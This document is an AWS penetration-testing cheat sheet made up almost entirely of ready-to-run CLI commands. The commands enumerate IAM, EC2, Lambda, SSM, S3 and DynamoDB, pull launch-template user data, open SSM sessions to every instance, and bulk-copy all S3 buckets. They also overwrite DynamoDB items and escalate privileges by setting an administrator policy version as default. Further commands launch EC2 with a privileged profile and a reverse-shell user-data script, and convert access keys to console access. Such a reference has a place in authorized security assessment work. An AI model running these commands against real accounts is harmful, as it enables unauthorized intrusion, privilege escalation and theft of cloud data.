AWS Cli

Install and add key:

pip3 install awscli
aws configure

# other userful tools
pip install awscli ansi2html detect-secrets boto3 principalmapper botocore defusedxml enum python_dateutil lxml signxmlManual

Enum:

Users/Groups:

# list all user's info
aws iam list-users

# list current user's info
aws iam get-user

# list all access keys
aws iam list-access-keys

# list all groups
aws iam list-groups

# list users, for a given group
aws iam get-group --group-name FullAdmins

Policies:

# list all policies
aws iam list-policies

# get a specific policy
aws iam get-policy --policy-arn <value>

# list all users, groups, and roles, for a given policy
aws iam list-entities-for-policy --policy-arn <value>

# get-account-password-policy
aws iam get-account-password-policy

Ec2:

# list all instances
aws ec2 describe-instances --region REGION --profile PROFILE| jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"

# list all keypairs
aws ec2 describe-key-pairs

# import an existing keypair
aws ec2 import-key-pair --key-name keyname_test --public-key-material file:///id_rsa.pub

# push ssh keys 
aws ec2-instance-connect send-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --zone us-west-2b --instance-os-user ec2-user --public-key file://my_key.pub

# list all security groups
aws ec2 describe-security-groups

# Extract user data: 
aws ec2 get-launch-template-data --instance i-EXAMPLE
aws ec2 get-launch-template-data --instance i-EXAMPLE | jq ".[].UserData" | sed 's/"//' | sed 's/"//' | base64 -d

Lambda:

# List lambda
aws lambda list-functions --region REGION --profile PROFILE

# get lambda
aws lambda get-function --function-name "LAMDBA NAME" --query 'Code.Location' --region us-east-1

SSM:

# list ssm instances 
aws ssm describe-instance-information --profile PROFILE --region REGION
aws ssm describe-instance-information --region us-east-1 --profile pentest_readonly_user | grep InstanceId | awk '{ print $2}' | sed 's/"//' | sed 's/",//'

# start session
aws ssm start-session --target InstanceID --region REGION --profile PROFILE

# connect to all: 
aws ssm describe-instance-information  --profile PROFILE --region us-east-2 | grep -i instanceid | awk '{print $2}' | sed 's/"//' | sed 's/",//' > ssm_list.txt
while read line; do aws ssm start-session --profile PROFILE --region us-east-2 --target  $line; done < ssm_list.txt

S3:

S3Api:

# list buckets: 
aws s3api list-buckets --query "Buckets[].Name" --output json | sed 's/\[//' | sed 's/    "//' | sed 's/",//' | sed 's/\]//' | tee s3.txt

## Public enumeration 
while read line; do [[ $(curl -s https://$line.s3.amazonaws.com | grep 'Access Denied') ]] &&  { echo '\033[0;31m[-] '$line' HTTPS Denied Access' } || { echo '\033[32m[+] '$line' HTTPS Potential access -  check @ https://'$line'.s3.amazonaws.com' }   && [[ $(curl -s http://$line.s3.amazonaws.com | grep 'Access Denied') ]] &&  { echo '\033[0;31m[-] '$line' HTTP Denied Access' } || { echo '\033[32m[+] '$line' HTTP Potential access -  check @ http://'$line'.s3.amazonaws.com' } ; done < s3.txt
while read line; do curl http://$line.s3.amazonaws.com; done < s3.txt

## Authenticated enum
while read line; do aws s3 cp s3://$line . --recursive | tee $line; done < s3.txt

## Automate
aws s3api list-buckets --query "Buckets[].Name" --output json | sed 's/\[//' | sed 's/    "//' | sed 's/",//' | sed 's/"//' | sed 's/\]//' | tee s3.txt
while read line; do mkdir $line && aws s3 cp s3://$line $line --recursive | tee $line; done < s3.txt

DynamoDB:

# list tables:
aws dynamodb list-tables
# get table data 
aws dynamodb scan --table-name blog-users
# update - put export into file and then update it with wanted value 
aws dynamodb put-item --table-name blog-users --item file://user_item

RDS:

# show RDS instances
aws rds describe-db-instances --region us-east-1

Privesc:

Policy based:

# Create new default policy
aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default
# Set new default policy to existing version  - Where “v2” is the policy version with the most privileges available.
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2

# Create Ec2 with existing policy 
aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456
# or 
aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh

Escalate:

Tools:

Upgrade to console access:

git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIA -s SECRET

Last updated